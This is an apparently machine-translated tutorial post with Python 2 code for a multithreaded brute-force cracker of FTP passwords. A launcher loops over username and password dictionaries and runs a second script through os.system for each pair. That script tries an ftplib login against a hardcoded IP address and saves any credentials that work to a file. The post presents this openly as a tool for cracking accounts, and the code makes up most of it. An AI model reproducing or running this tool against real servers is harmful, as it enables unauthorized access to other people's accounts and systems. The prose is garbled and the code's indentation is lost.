Python writes a brute force tool for cracking FTP passwords

Specific powerful python library files, a lot of functions have corresponding library files, so it is necessary to learn, there is a corresponding library files FTP ftplib, we only need the login function, and then use multithreading call corresponding dictionary inside field to log in, can also according to their own needs, according to own situation when writing programs that need to let the program instead of us to do some boring repetitive job.

Now go directly to the code, and then the main file

import os 

import time 

import threading
class mythread(threading.Thread): 

def __init__(self,command): 

threading.Thread.__init__(self) 

self.command=command 

def run(self): 

kk=os.system(self.command) 

ushand=open( " user.txt " , " r " ) 

pshand=open( " passwd.txt " , " r " ) 

listuser=[] 

listpass=[] 

for us in open( " user.txt " , " r " ): 

lineus=ushand.readline().strip( ' n') 

listuser.append(lineus) 

for ps in open( " passwd.txt " , " r " ): 

lineps=pshand.readline().strip( ' n') 

listpass.append(lineps) 

for i in listuser: 

for j in listpass: 

command= " ftp.py %s %s "  %(i,j) 

print command 

my_thread=mythread(command) 

my_thread.start() 

time.sleep(0.1) 

The code in the corresponding (link: #) file is as follows

import ftplib 

import socket 

import sys 

ftp=ftplib.FTP('121.54.175.204 ' ) 

try: 

user=sys.argv[1] 

passwd=sys.argv[2] 

ftp.login(user,passwd) 

hand=open( ' aa.txt','a+') 

hand.write(user+ " : " +passwd+ " n " ) 

except ftplib.error_perm: 

print  " passwd is world "  

Because plug close format, the indentation inside what have to adjust by hand again

You need two files, user.txt and passwd.txt, which are dictionaries for the username and account.

Code where the FTP cracking IP can be changed to their own to crack the IP, the last correct account and password will be input to aa.txt file.
